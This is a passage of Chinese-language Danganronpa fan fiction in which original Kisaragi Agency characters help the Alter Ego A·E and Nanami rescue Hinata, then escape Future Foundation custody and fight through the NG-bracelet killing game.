“嗯嗯!是这样的!前田勇气同学和平良茜同学的协助!”电话屏幕里的江之岛盾子露出萝莉般的笑脸看着屏幕外裁判场上的众人:苗木诚,如月A·E,以及如今还幸存的五个77届生。 ……到现在为止,几乎所有真相都揭开了。 “然后就是我们78届生所经历的、最广为人知的那场自相残杀,”苗木说,“江之岛盾子亲自组织并向世界直播展示的大型绝望影片,最终我们合力打败了她,将希望重新带到了世界。那之后78届生的幸存者加入了希望之峰校友组建的未来机关,并找到了你们77届生……也就是超高校级的绝望,并将你们保护在新世界程序中,准备进行希望重育计划……但新世界程序遭到了黑白熊病毒的入侵……” “而且和控制79届生的黑白熊Ai是同步数据的哦,”江之岛扮着鬼脸说,“所以 ……关于自相残杀事件的整体梳理似乎到此为止了,但是……总觉得,离真相还少了些什么………日向抬头看向几个同伴:终里和左右田还在努力理解之前的结论,九头龙想着补充什么而不知头绪,索尼娅则沉默着思考。 ……江之岛盾子的Ai则得意洋洋地看着他们辩论,像是在欣赏什么有趣的戏剧。 A·E看看大家,转头看向苗木:“他们什么时候能来?” “我也不知道,但是我相信他们一定能来。” “鉴于可能来不及了……”A·E深吸一口气,“我要将如月机关隐瞒的真相全盘托出,也就是……关于「前田勇气」,以及「天运」。” “……好吧。” “诶?你不阻止吗苗木先生?” “这是没有必要的。”苗木摇摇头,“你不是完整的Alter Ego,但你拥有完整的如月大和的人格。如果是如月先生的决定,我是不会阻拦的。” “这……和我们有什么关系吗?”左右田挠挠头。 “……这会证明一件事情。” A·E忽然笑了。 “江之岛盾子,你口中所谓无聊的希望,正来源于改写的命运———人类的意志永远会凌驾于注定的预定调和。” 金城放下通讯仪舒心地叹口气,向一旁的几人扬了扬:“黑川醒了,基本没什么大事,过段时间必须要做手术就是了。” “太好了!”波多乃高兴地站起身,“A·E那边呢?” “在新世界程序里头,帮着苗木处理77届生。”金城简短地说,“昨天也听见了吧,宗方说要让苗木他们抓紧时间回来接受什么,审判。” “宗方就是个疯子,要我说,”比嘉不满地一拳锤到墙上,“他们是不是以为过我们是绝望残党啊?狗眼看人低!” “恐怕现在也是一样的。”上原补充,“就连苗木……可能都被他怀疑了。” “话说回来,那两个家伙怎么还没回来,”金城皱起眉,“明明他们需要汇报的工作是最少的——” “别跟着我了!!五月生气了!!” 休息室的门轰地一声打开,人未到声先行的伊良波气鼓鼓地走进来,又砰地一声摔上门。门外传来某人不服气的“嘿呀”,然后可怜的门又被猛地推开。 “我怎么了?我做错什么了你告诉我?我和启介哥废了那么大劲不想让你难过你就拿这态度回报?就算不求回报至少给个好态度吧?” 小桥川一样气成了河豚,不顾其余四人看傻了的眼神三两步跨过来,借着身高优势指着伊良波的鼻尖:“都是为你好你不知道吗?不想让你知道是不想让你难过,你知道启介哥为此做了多少次心理辅导吗?你……” “我又不是小孩子,启介哥哥做的和你一样过分!!我不需要你们这样,这样,这样用欺骗换来的保护!!!” 上原左看看右看看,大致得出了结论:汇报剧院方对抗绝望势力结果的时候不得不提到支持绝望残党的人,也就是伊良波家的那些人……小桥川自己可能不会说出口,此前伊良波启介也因此触发了儿时的ptsd、引发了一些心理问题,花了好长时间才被治疗好;但是未来机关的干部可就不一定了,比如那个十六夜…… “我说了,就算今天站在这里的是启介哥哥,我也一样会谴责他,”伊良波大喘着气说,“五月不是柔弱的小孩子,爸爸他们做错了事情就该得到惩罚,我知道!我不会难过!他们只要活着就可以赎罪,我会高兴!就算爸爸已经死了……我也不会只想着死去的人待在悲伤里走不出来!五月不是小孩子,我不需要你们这么保护!” “好,你不需要,”小桥川抖着手,声音也跟着颤抖起来,“我就当我做的全是无用功,我白费的那么多心思,我……” “够了,闭嘴,冷静!!” 上原伸手拎着两人的后衣领,用平静但不平淡的语气一字一顿地说:“都给我好好冷静下来。伤害对方的话不要说了,好好想好了再说话!!” “………” “………我做错什么了我?” “你错的很过分。”上原狠狠掐了下小桥川的后颈,“无论如何欺骗和隐瞒都是你的错误,非常过分,非常糟糕,已经到了罪孽深重的地步。” “你看!五月说的没错吧!” “伊良波,你也一样,”上原转向她,“刚才的话太过分太伤人了,不管怎么说他出发点没错,你这样很伤他的心。我知道你是不想让他还有启介哥为自己操太多心,但是你真的说了很过分的话。” “……” “……” “明明是以爱为出发点,为什么要互相伤害呢?这不是南辕北辙了吗?要说就好好地平和地把心里话说出来,有什么不能理解的?” “……” “……” 上原撒开手:“和好?” “……我才不。” 伊良波甩头走向波多乃,后者无奈地张开手让她倚在自己身上;被晾在原地的小桥川则叹着气一把薅过比嘉,有一搭没一搭地扯闲话。 上原看向金城耸耸肩:“让他们自己调理去吧,说不定没几天就好了。” “那可不一定,”小桥川不忿的声音传来,“我是做的不对,我道歉,我是混蛋。好了,这下剩下的那个混蛋可是纯粹的混蛋了。” “行,那五月认了,”伊良波不甘示弱地大喊,“那我这个混蛋就,就,就不搭理你三天!” “三天就三天!” 一阵沉默过后,金城捂着嘴努力憋住了险些藏不住的笑声。上原一脸“意料之中”的表情坐回椅子上,翻开(早就被翻烂了的)圣经看了起来。 ……幼稚鬼们果然不必担心闹别扭。 “喂,喂,日向君!” 没有人能拯救我。我是罪孽的源头。我是绝望的开端。我无法被拯救。 “喂!日向君!!” 我再也不是日向创。我早已不是日向创。 “哎呀,你这么叫他没用。” 想要拯救我的人,在游戏机里静候方块落下。 想要帮助我的人,在江之岛盾子面前道尽真相,而后“像本该的那样”炸开胸膛灰飞烟灭。 “你得这样……” 不会有人来救我了。 就让我永远,永远在这个虚假的世界,永远,永远在这里…… “喂!!醒醒!!如月A·E从地狱里爬出来救你了!!!” 日向创猛地睁开眼。 “嚯!我说什么嘛!就得吼一嗓子。” “哎呀,如月先生太粗鲁啦。”七海千秋弯下腰,打量着日向。“嗯?怎么了?看到我们很惊讶吗?” “七海同学……A·E……” “嘛,反正只是数据体,幸好不二咲给我备了个份。”A·E无所谓地耸耸肩,“江之岛真是给我吓了一跳,我没想到她会对我动手,这既不明智也没有道理,她明明知道自己也没法抗衡天运的。或许她以为是我爸亲自来了吧。老实说,被炸还是有点疼的………啊我话是不是太多了?七海你来说吧!你数据坚持不了多久了。” “我刚想批评如月先生话太多了哪。”七海笑着叉起腰。A·E摆摆手退到一边,让日向与七海能单独对话。 ……身为不完善的人工智能,也会感到悲喜和欣慰吗? 这里不是游戏。这里不是你理想的世界。 你的未来需要你自己走下去。 至于怎么走……船到桥头自然直嘛。 不用想太多啦…… 每个人都有这样的经历嘛。 被推到命运的交界点上,然后选择一条道路走下去……又或者什么都不选,独自走出一条路。 日向同学就是日向同学。你的未来,由你亲自决定。你有这个能力,也有这个权利。 以自己为荣吧,日向同学。 你看……曾被困在天运中的如月先生他们,不是也开创了独属于自己的未来嘛。 不论是怎样的未来,只要你们继续前进,我就不会消失。在这个虚假的世界发生的事情,也就不是没有意义……是背负着绝望与希望的你们的话,也一定能创造未来!! 所以啊…… 不要拖拖拉拉一直不前进啦。怀着抛弃一切的决心,认认真真赌一把! 我……会为你们加油的!! “喂,日向。” 在眩目的光中,被泪水糊住眼眶的日向创听见了A·E的声音。他转过头,隐约辨认出穿着风衣的少年的身影。 “……我不会说什么漂亮话,但是……我知道有人曾以一己之力改变了79届生的命运。日向创,你是拥有改变命运能力的人。 “我会期待着……在真正的世界里与你重逢。” “……好!!” A·E在数据的洪流中闭上眼睛。唯一的一份拷贝就在这里了,等到事情结束了以后还要麻烦不二咲把自己拷回去,然后才能回家…… 老爸,我有点累了…… 我没有辱没如月机关的荣耀吧? “我的名字……” “我的名字,是日向创!!!” 9. 未来之梦篇 “如月机关,勾搭绝望残党,行事不明;未来机关宗方京助,现做出扣留副机关长金城剑及其随行人员的决定,随后将对其进行审问与逮捕。” 宗方站在桌子上,居高临下地看着目瞪口呆的几人,“有意见吗?” “我要提醒你,宗方先生,”金城是唯一一个不为所动的,哪怕坐在轮椅上气势也丝毫不输宗方,“我从6岁开始随家父于警察署工作,12岁开始审讯犯人,我比您更清楚审讯的顺序和您的指控之荒谬。” “如月机关内从来没有绝望残党,”惊讶了一瞬便冷静下来的上原随即补充,“前田勇气早已死去,平良茜如今也是一个正常人。” 宗方眯着眼不屑一顾:“口说无凭。很快苗木那个叛徒也会回来,你们会一同被审讯的。逆藏,带警卫把他们带到哪里,你应该很清楚。” “好,这就去。” 逆藏摩拳擦掌站起身,在一众支部长冷漠的眼光中走向几人:“金城警官,需要我推吗?” “请便。” “呵,”逆藏抓住轮椅的扶手,将他转了个方向。在金城眼神的示意下,上原带着还没缓过来的其余四人跟在后面,表现得顺从而听话…… 直到逆藏一用力将金城倒在地上。 “……唔!” “剑!!” 上原和小桥川快步冲上前扶起金城,比嘉一把拧住逆藏的手腕:“你干什么?!你不知道他腿上有伤吗?!” “哦嚯?不知道。谁让你来碰我的?” 逆藏顺势将被拧住的手臂向另一个方向扭转,趁比嘉还在硬着往回掰的时候抬起膝盖狠狠顶向他的肚子:“跟拳击手搏斗,哼?还挺勇敢的嘛,哼?” “……嘎……” “不要反抗。”金城被扶上轮椅,沉着声音说,“顺着他们的要求走,快!” 小桥川一手推着轮椅,一手扶着比嘉,忿忿地瞪了一眼逆藏。波多乃拉着伊良波跟上去,一声也不敢吭。 ……形势变化的有点太快了…… “我就说未来机关这些干部都是精神病!!!”来到休息室后比嘉压着嗓门低声喊道,“A·E说那些不是为了激励那群人吗?怎么就我们也是绝望残党了?真是有病!” 金城则警惕地打量着整个房间:“小心一些,是单向镜子,我们在这里做的一切事情都在他们监视之下。光宏,刚才被打那一下要不要紧?” “我没啥,卸力了。倒是你没啥事吧那腿?” “没什么大事,手先着地的,而且已经做好了被掀翻的准备———这还得归功于您二位之前动不动就试着掀一次给我攒的经验。” “……” 上原搓着衣领问:“为什么不直接用外骨骼?不想让他们知道吗?” 金城点点头:“有这个原因。另外,大和按照波多乃和光宏的用腿方式给它做了一些改造,好像还加了点战斗辅助功能……” “那确实不能让他们发现了,”波多乃说,“掩藏己方的科技水平……也是很重要的。” “现在的问题是我们怎么从他们眼皮子底下逃出去吧,”伊良波叉起腰,“总不能坐以待毙!” “……硬跑基本不可能,得用点计谋……” “……我倒是有个土方子……” “救命啊!!!伤口感染啦!!!要出人命啦!!!!” 听到消息的医护人员急匆匆赶过来,喊的嗓子干的伊良波招着手让男生们帮着护士抬起金城放到担架上抬到外面的走廊上飞奔起来,两个女孩则一人一边抬起轮椅跟上去。金城在担架上「痛苦」地哼唧着捂住膝盖,实则借着视觉盲区观察着天花板上的监控。 “……动手!!” 波多乃双手抓住轮椅,连带着伊良波一起甩起来,令后者在甩开时能一口气蹬到抬着担架的后面两个护士头上,两个倒霉蛋当场俩眼一翻晕倒在地;上原接过担架扶手让其平稳落地,在前面两人打晕了前面的护士之后拉起金城:“意外地顺利,任务完成。” “干的漂亮。”金城被扶到轮椅上坐好,“接下来按照原计划,小桥川跟我走去找宗方对峙,上原你们四人换好护士的衣服出去等大和来,快!” 小桥川熟练地抓住轮椅把手:“咋样?我这破计划还不错吧?偶尔还是很聪明的嘛!” “嗯嗯夸夸你。” “诚恳一点也好啊!!!” 两人推着轮椅在走廊内飞奔,但不一会儿金城听到了第二个脚步声,回过头一看…… 好嘛,倒也意料之中。 “那个,晴彦,”他抬起头无奈地看向傻的像个二哈的小桥川,“你知道有人跟上来了吗?” “啊?” 小桥川回头一看,还穿着护士的衣服的伊良波正吭哧吭哧地跟着他们。身经百飞的飞行员第一次感觉血压骤然飙升:“我草你跟上来干什么快走!!” “上原想想不对劲,说六人组非要分头行动还是三人一组比较好,所以才叫我回来的,头儿,”伊良波没搭理他,直接看向金城,“另外五月说到做到,绝对三天不理他。” 小桥川:“……谁怕谁啊。” “……要跟上来,先把衣服换回去。”金城说,“现在不是闹别扭的时候,听从指挥。” “是!” 很可惜。 如果你们一起逃走,说不定还有机会能活下去。很可惜你们选择回来。 孩子们,你们很勇敢,可惜世界需要的不是勇敢的人,而是…… 【16:20】 “等等,不对劲,”快要到达会议室门口的时候小桥川忽然停了下来,“你们感觉不到吗?地面有点……晃。” “让一下让一下!!!” 一个女孩风风火火地从几人中间跑过去,推开会议室的大门:“警卫,警卫都被杀死了!!!” 糟了。金城咬住下唇:意料之外的紧急情况,说不定要有什么大事发生…… “监控系统也出了问题,”会议室里面传来声音,“就像是骇客入侵……” “快跑,五月,”小桥川低声说,见对方没有什么反应,顿时大吼起来:“快跑!!!去告诉近次他们出大事了!!现在不是闹别扭的时候快跑!!” “我才不跑,我要……” “这次是认真的啊我的傻蛋,”小桥川从裤兜里掏出一个精致的小盒子头也不回地塞到伊良波手里,一边推着金城跑进会议室一边大喊:“只有你能跑出去了!!记得躲避———” 伊良波愣了一会儿,抓住小盒子转身就跑。她还没有打开它的勇气———尽管她已经猜到了那是什么,并为此加速了心跳,正好适应了奔跑。 多好啊……青春中的孩子们…… 但是你会怎么选择呢? 【16:40】 “咳咳……” 又看见黑白熊了,真是晦气死了…… 金城一边看着屏幕上滔滔不绝的黑白熊一边撑起身体,安心地发现不远处的小桥川也在。 催泪瓦斯和安眠药。碰巧那时候他们来到了会议室门口,就像是算好了要把他们也带进这里似的…… ……把他们带进未来机关的自相残杀是干什么呢。 “晴彦,过来把我带到轮椅上。” “咳咳……好。” 小桥川走过来——奇怪,他们被催眠倒下的时候有离得这么远吗?———把他扶到轮椅上。金城安心地摸索到控制外骨骼装置的按键,而后在其支撑下站了起来跺跺脚。 很好……非常舒适。 “触发手环上的NG行为,就会被注射毒药!”黑白熊指指自己的手腕,中毒的样子滑稽又恐怖。周围还处在震惊状态下的支部长们抬起手看向自己的NG行为,或多或少发出了些声音。金城也看向自己手上那东西——这让他想起塔和市那些被带上手环的要救助民——滚动的字幕上写着: “与外界联系。” 很好,至少自己能主观控制。金城安下心放下手,只是这样的话,就要自己寻找逃脱的方式……不,倒也有个同伴,偶尔还真的很有用…… “喂,剑,” 听到带着颤音的声音时金城的希冀凉了半截。他回过头,看见小桥川脸色铁青,向他递出手环。 “……NG行为发生,对应人就会死……对吧?” 金城凑过去看,顿时明白了小桥川的神态为何如此僵硬,上面赫然写着: “伊良波五月存活。” 【16:50】 “………” 金城将石化成雕像的小桥川挡在身后,警惕地观察着四周。苗木诚和雾切响子,以及朝日奈葵都回来了,似乎没什么人注意到他们这边…… 好消息是也没什么人注意到从看到NG行为就僵硬得一动不动的小桥川。 ……另一个好消息是那个逆藏揪着御手洗打的时候也没注意到他们。催眠瓦斯起作用的时候他们刚飙着轮椅冲进会议室,那时候已经几乎看不清什么了,应该不会…… “那个是……金城先生吗!”朝日奈看着四周的时候忽然尖叫起来,“您怎么来……您怎么站起来了!!!” ……忘了,朝日奈悠太是她弟弟。 “金城先生?!”苗木惊喜地转过头,然而逆藏比他反应更快:“呵啊?还敢跑出来?看我……” 一只手拍到逆藏肩上。金城皱起眉:一个叫不上名字的支部长窒息地发出什么声音,血从他的眼睛里流出,随后血管从皮下泛出紫色,最后…… 金城闭上眼。中毒。NG行为的毒。 雾切抓起死者的手:“……目睹参加者的暴力现场。” 金城向后退一步,腿上的装置发出的声音在一片死寂中格外清晰。 首先能确定NG规则的毒素是真实的。那么,关于身后这位…… ………伊良波………不该让她一个人跑回去的,说不定就是那个时候…… “NG行为不可以直接公开,”雾切大声喊,“有的人的NG行为本身或许就是公开自己的NG行为,不能允许这种情况发生。” “那就用投票的方式决定袭击者身份如何,”宗方说,“按少数服从多数的规则。” 宗方京助是个疯子。金城盯着桌子上的雪染千纱的尸体想到。事情忽然明朗了……作为77届的绝望残党的雪染千纱,从来都不像未来机关想的那样无辜…… 女仆。老师。绝望的77届生。看似温和实则激进的想法……恐怕雪染千纱早就绝望了。 而离她最近、受影响最深重的,无疑就是宗方京助。他自己可能没有感觉,但从他将如月机关和苗木诚都打位绝望的行径来看,已经偏激到一定程度了。 至于这群支部长们,已经互相指认着怀疑的袭击者了,不出所料几乎每个人指的都不一样。幸运的是没有人指到金城,但是没人指认的后果就是被迫遭到关注。 “没人怀疑这两个?”逆藏撇起嘴,“这两个家伙闯进来的时候正好瓦斯爆炸了,而且我没记错的话你们应该被关起来了吧?怎么?要狡辩吗?” “这么一说嫌疑真是不小呢,”安藤撇着嘴说,“而且——金城这名字大家都能记得吧?我可忘不了那个警察署的家伙……” “很可疑呢,金城君,”天愿似笑非笑地指指他,“既然能借助假肢行走,为什么不早点……?” “解释一下吧,金城剑。”宗方抽出日本刀走过来,指向金城的腿,“如果不说实话,我会先让你没法用你的假肢嘲笑我们,然后让你死。” 苗木急着想上前,被雾切拉住,只好原地大喊:“金城先生一定是无辜的!如月机关一直在与绝望残党对抗,这绝对是……” “你自己的嫌疑还没洗干净呢,苗木。” “……!!” 金城看看四周,伸出双手举过头顶:“首先,这是我们机关长制作的行走辅助装置而已,并不能坚持多久;其次……” 刀锋靠的更近了:“再说一句废话,你———还有你后面这位,就别想活着出去了。” 金城耸耸肩:“其次,这是我的NG行为。如果我有同伙我要怎么和外界联系?” “……那么这位,我没记错的话,小桥川先生?”宗方不依不饶,“至少说些什么吧?” “很可惜,关于我的这位同伴,我还有更重要的事情要说。”金城歪了下头,“动手吧,雾切。” 灭火器唰地喷出烟雾掩盖住众人的视线,金城趁机踢开宗方的刀;雾切冲金城点点头,而后对苗木使了个眼色,后者跟住朝日奈跑出房间;逆藏见势不妙抽出匕首向金城刺去,结果狠狠地刺到了金属部件,而后金城抓着小桥川的肩稳住重心一记飞身旋踢掀着逆藏的下巴将他踢飞,戴着牛头面具的摔跤手则顺势锁住逆藏。捡起刀的宗方惊讶地看着行动自如的金城,对方根本没理他,拽着小桥川跑到外面。 “………” 宗方握住刀,瞥了一眼被打飞在地的逆藏。 “………绝望必须铲除。” 【17:00】 “……喂。能不能听见说话。” 金城拍拍呆若木鸡的小桥川。他抬起头,用布满血丝的眼睛吓了金城一跳:“他们……他们……” “你说,我听着。” “害死了……害死了……”小桥川抓住头发,“他们害死了五月,她被,她被,她……!!” “呼吸。”金城拍拍他的后背,警惕地抬起头环视所处的房间。门已经被堵上了,只要不发出太响的声音就不会被发现。 ……只要不发出太响的声音。 “未来机关,把五月,”小桥川大口大口喘着气,很难想象在万米高空急剧激烈的气压变化下还从容自如的天才飞行员会激动到无法呼吸,“NG行为,发生了就会死,我没有死,她已经,她已经……!!” “冷静!!”伊良波是他唯一的弱点,现在情况非常不妙,“忘记了吗?我们被那家伙诅咒了天运,她不会轻易死掉的!!” “天运……”小桥川骤然睁大眼睛,“她是一个人逃跑的……我们说过不可以分头行动……” 坏了。金城自知失言,这下小桥川可能直接把过错安到自己头上。至少在现在这个场合…… 不那么适合爆发情绪。 “对不起,晴彦。” 金城收着力一记肘击打到小桥川的太阳穴,后者应声倒下。 “……至少现在不能崩溃。现在不能。” ……伊良波…… ……活要见人,死要见尸。至少不能让第一个说出“大家活着就有希望了”的伊良波不明不白地客死他乡…… ……没法和外界联系,要是她能跑出去就一定能和上原他们汇合,那样就不会有危险…… ……… 如果未来机关真的害死了伊良波,抱着仇恨的就不止是小桥川一个人了。79届的所有学生……不,如月机关的所有人,都会将未来机关推到裁判场上。 【??:??】 死了。 死了。被杀死了。 在78届生的自相残杀被直播的那些日子,小桥川晴彦做过几个梦。断断续续,无厘头又荒谬,虽然那正是梦境的特征。 他梦见他们还在那个岛屿上的研究所。他梦见因为自己的过失谁人死去了。他梦见他和谁大打出手,和谁喷着口水吵架;和谁走进昏暗的什么地方,最后是一声枪响。 某次梦醒后他发现自己在流泪。那时他们刚击退绝望残党的袭击,他走进洗手间洗脸,看着自己脖子上留下的无法恢复的溃烂的皮肤叹息。 而后他发现自己无法止住流泪。他意识到那是梦境的遗留,而他只能记住那一声枪响。 “……嗐。”他对镜中的自己说,“不过是个梦。平时也没少听枪声,大惊小怪。” 但痛苦是清晰的。梦中窒息的痛楚和无以复加的悲伤是真实的。 …… 他扭头看了看另一间卧室。伊良波躺在床上,抱着被子睡得正香。他蹑手蹑脚地走过去给她盖好被子,然后回到自己的房间。 如果我们真的遂了虚空的愿在那里自相残杀,或许我真的会蠢到为了保护她而去死吧。 …… 正因如此,他从未想过如果先一步死去的是伊良波的话,自己该怎么办。 【18:00】 小桥川从梦中醒来,发现自己坐在地上倚着墙。头很痛,于是他想起自己被金城打晕了。 而后进入疼得抽抽的脑子的就是NG行为。 伊良波五月存活。 他知道自己不聪明,所以在得到答案的时候自己都傻掉了。触发NG行为的人会死,我没死,我没触发NG行为,五月没有“存活”,五月死了。 仅仅只是纯粹地在脑子里炸响的晴天霹雳。他愣在原地,什么都无法思考。 死了。五月死了。 死亡是什么概念?他想起自己的哥哥。哥哥死的不明不白,他哥哥的坟头留下了自己的帽子,期盼着哥哥能在另一个世界借此看见他。 但是哥哥再也回不来了。不为人知的哥哥糊里糊涂地死在偏僻的地方,就算是生前人们也只会记住天才飞行员的名字是小桥川晴彦而他的哥哥无人知晓无人过问。 ……… 他自己知道再也见不到普普通通的哥哥了。虽然很快启介哥就来了,但是那毕竟不是已经死去的亲哥。那是无可代替的。在被不断夸赞的童年中唯一还拎着他的衣领揪着打屁股的哥哥,教他泡妹(实际上几乎没用)招式的哥哥,告诉他一辈子只能把真心放到一个姑娘身上的哥哥。 死去的人永远无法回来。与逝者共度的时光将成为永生痛苦的回忆。 而五月更甚于此……她是…… 他知道自己没法接着想了。连继续想的勇气都消失殆尽。 明明让她自己离开是为了保护她,明明连那个、那个都给她了想激励一下让她快一点跑出去,明明不可以,明明不能……… 不要再想了,不能再想了。 再想下去……就连复仇都没法完成了。 小桥川掰下捆在小腿上的装备盒,三两下拼装出一把手枪和一把匕首,塞进腰带里绑好,沉默着站起身晃晃头,阴沉着脸走到廊内。背后忽然响起声音:“一切小心为上,别死了。还有人会为你难过的。” 他回过头,看见金城抱着胳膊平静地看着他。他什么也没说,向金城点点头,转身拖着麻木的脚步前进。 金城叹了口气。 该怎么告诉他,第一次时限的时候,麻醉剂根本没在我身上起作用呢? 【18:10】 “寒暄就不必了,来交换一下情报好了。” 雾切使了个眼色:“先一起去找格雷特·戈兹的尸体好了,我需要先看见现场……” “我刚从那边回来,”金城递出一张纸,“画了一下示意图。这是尸体的位置,刀伤,刺入心脏,当场毙命。” “……”雾切打量了一会儿,忽然想到了些什么:“监视器呢?监视器在什么位置?” “这里。”金城指了指一个方位,“有什么问题吗?” “……我们需要重新检查一下现场。” 金城收好纸条,转向雾切身后的御手洗和天愿:“您二位也要跟上的话就快一点,我没有多少时间。” “呵呵呵呵……明明已经被怀疑过了还是愿意相信我们啊,金城同学。”天愿老爷子捻着胡子笑着说,“罢了,相信天才少年警察的话也没什么不好。我们走吧,御手洗同学。” “啊……”御手洗抬起眼看了金城一眼,又迅速低下头,“好吧……” 金城听见某些声音,于是叹着气转过身:“先等一等……有麻烦的人。” 一把椅子砰地砸来,金城推开雾切一脚踢回去,果不其然被扔椅子的逆藏甩到一边:“嚯,残废,还是很能打的啊。” “哎呀,突然做这么危险的举动啊。”老爷子微微笑着弓着腰走上前,金城没有阻拦。 “如果苗木诚是绝望残党的话,身为苗木同伴的雾切就一定是共犯。”逆藏撇着嘴说,“至于金城,你的狡辩毫无意义。” “嗯嗯好。”金城摊手,“你说的都对。” “……?” 老爷子叹着气:“无论如何,我们都是……” “你还要摆会长的样子到什么时候?”逆藏不耐烦地说,“我的老大是宗方副会长,我没有义务听你的指示!!!” “真是奇怪的上下级关系,”金城嗤笑,看都没看一眼逆藏,“正的不听听副的,如月机关要也这样我能笑死。” “啧。”逆藏眯起眼,“本来打算先抓雾切,看来得先收拾你啊残废!!” 金城看着他挥出的拳头,不动声色:“来打啊,我记得你是超高校级的拳击手吧?为什么不打了?” 拳头悬停在金城面前,划出的风甚至将他的头发吹起。逆藏咬着牙控制住自己的拳头,手臂上青筋暴起,所以当金城抬起腿狠狠击中他的肚子时他甚至没能防备。 “咳———” 御手洗挡在雾切身前,逆藏在他们面前轰然倒下。老爷子捋着胡子,笑容硬硬的,看看地上的逆藏又看看金城,忽然笑出声来:“是我小看了金城副机关长了,反应速度相当恐怖啊。” “您过奖了。”金城向逆藏看去,“把他捆起来吧,天愿先生。” “哈哈,不错的想法。” “响子!!!响子!!!啊,金城先生!!” 朝日奈葵挥着手跑来,月光原美彩顶着兔美Ai跟在后面。女孩子们高兴地抱在一起,金城则面无表情地看着他们。没多久宗方的声音从广播里传出,告知了所有人苗木已被俘虏的坏消息,几人无奈只好一同商讨营救苗木。 “就算是陷阱,要交涉也得我去。”老爷子叹气,“朝日奈同学跟着我,趁我和宗方沟通的时候救走苗木。” “我也得跟着,我有话要问宗方,然后,”金城左右看看,拍拍雾切的肩:“借一步说话,雾切。” “嗯?” 老爷子笑了笑:“要快啊,金城同学。” 【18:20】 “麻醉剂对我和小桥川没起作用。我们的NG行为可能是假的。” “……?!”雾切睁大眼睛,而后陷入思考:“这样的话,为什么非要将两个如月机关的人员卷入这次残杀呢……” 金城摇摇头:“我不知道。在第一次时限中我发现自己没有睡着,便在这里寻找其他人,得知了大部分人的NG行为,可惜没能一次找出袭击者。你能明白我的意思吗,雾切?” “……我大致明白了。”雾切点点头,“那么,感谢合作,金城警官。” “叫我金城就好。那么,保重。” “您也保重。” “……我是说,”金城低下头,看向雾切的手环,“真的没关系?小桥川现在几乎崩溃了。” 雾切知晓了他在指什么,便微笑着摇摇头。 “我相信苗木没问题,他拥有很强大的内心。” “……那么再见。” 金城回头与老爷子和朝日奈一同离开,雾切则带着御手洗和月光原走向相反的方向。 虽然没直接说出来,但金城与雾切的合作已经在无言中展开:金城利用几乎透明的观察者视角寻找事件主谋和袭击者,雾切则负责还原事件真相解开疑虑。虽然或许任何一方都有能力做到两个方面,但无疑他们的时间及其紧迫。 已经是第二次时限了。雾切不剩多久了。 金城边跑边想。不知道那个傻子现在怎么样了,两个人在机关里天运应该能保住他的命和所有零件,精神可不敢保证。 ……… 跟苗木相比,果然还是太脆弱了……让伊良波怎么放心你啊,晴彦。 【18:20】 听说人在濒死的时候,会看见人生的走马灯。 似乎是因为濒死的人会本能地寻找规避死亡的方法,但人是没有死亡的经历的,因此走马灯不过是个可笑的悖论。 ………果真如此吗? “我觉得我们应该停一下,因为有耗子来偷吃了。”十六夜惣之助反手转刀,将刀刃别到手后,“你说是吧,小桥川先生。” 忌村静自拨开食用特效药后过重过长挡在面前的头发:“如月机关的人吗……” 沉重的脚步声和安放弹夹的声音让十六夜皱起眉,默默从腿上取下三个苦无。来者的状态很奇怪,沉着脸一声不吭,丝毫不像之前在剧院合作时大大咧咧的话痨模样。忌村咬住下唇,抢先扑过去准备抓挠。 在那一瞬间,原本剑拔弩张的十六夜与忌村达成了微妙的共识:外来者比内部人员更有可能成为黑幕,因此内战暂停,先一致对外。 默不作声的小桥川选择端起手中的轻型冲锋枪一片扫射,另一只手握着匕首逼退忌村近身的攻击;十六夜则掏出苦无和手里剑向其甩去,结果扔出去的东西惊人地全被躲了过去。 “这个,躲飞刀,五月练了好久!你也来试试!” “我*这个试试就逝世了啊我不要!!” “小桥川怂包!!快来快来!!” 冲锋枪的子弹很快耗尽了。两人没有给他换弹夹的机会,敌对双方第一次达成默契,用尽近身铁器的十六夜双手锁住小桥川的双手迫使他扔下匕首,忌村则绊倒双腿强制压低重心。 “没用的东西,锁喉明明比肩部更有效。”忌村一边在兜里翻找有可能有用的镇静剂一边不忘初心,大声责骂,“解决了这家伙下一个就是你!!” “呵,就凭你?”十六夜不甘示弱,“为了流流歌,我不可能放你过去。” “嘎呼———” “绞死。整体来说不错,虽然也没合格。另外我建议你拿别针把围巾别到衣服上去,否则它会成为天然的绞索。” “哈———哈———明白了!” 小桥川猛地睁大眼睛,伸手抓住锁着自己的十六夜的手臂。 “……别挣扎了!!”十六夜大喊,“已经结束了,小桥川!!!” “………没有结束。” 这是低沉得如同喉咙深处挤出的痛苦的声音。 忌村抬起头:“不对……他不是想挣开!!” 围巾上的别针“咔哒”地打开,十六夜一愣,反而被抓住一只手,而后铺天盖地的红色袭来又缠紧他的脖颈———小桥川摘下了他的围巾,将其作为绞索绞住了十六夜。 “——————!!! “预判是非常重要的应战意识。背后有偷袭的时候比枪更快的是刀,比刀更快的是腿。” “所以一旦遇到背袭,直接后踹。” “……没用的东西!!” 忌村向后一蹲蓄好力,弹跳到小桥川背后的墙上准备背袭,然而刚跳出她就后悔了。 糟了,这家伙的空间感知能力…… 小桥川抬起脚一记蝎子踢踹开忌村,然后转着重心换一只脚将半空的忌村抡飞,双手还紧紧抓着绞住十六夜的围巾。 “咳………”十六夜摸索着大衣里的刀,下意识抬起头试着喘息,无意间看见小桥川手上的NG手环飘过一行字,突然明白了一切。 伊良波五月……是那个女孩子吗?他们看着就知道是什么关系。伊良波存活而触发NG,而现在这家伙除了精神状态都活蹦乱跳的…… ……原来如此。 往事如同走马灯一般从眼前流过,脑子似乎有点过热了,但那没什么。手中的围巾被刀割裂了,再次被锁在地上时那个女人扑过来给他打了一管药,然后一直在脑子里鸣叫的声音渐渐停止了,取而代之的是敌人的喘息和模模糊糊、隔着层水一般的声音: “怪不得这么疯狂……我敬你是个男人,小桥川先生……” “那是……绝望残党的药物导致的溃烂……” “行了,这家伙的嫌疑真是以意想不到的方式消解了。现在轮到你了,忌村。” “……哼。在那里对吧,甜腻的气息……安藤流流歌……” “……我会用我的一切守护流流歌。” 小桥川独自躺在地上,颈间空空荡荡,风吹的他有点冷。他伸手捂住眼睛。 往事如同走马灯一般从眼前流过,脑子似乎有点过热了,但那无所谓。 我到底是什么也没能做到。连可笑的“用一切守护你”都没能做到。 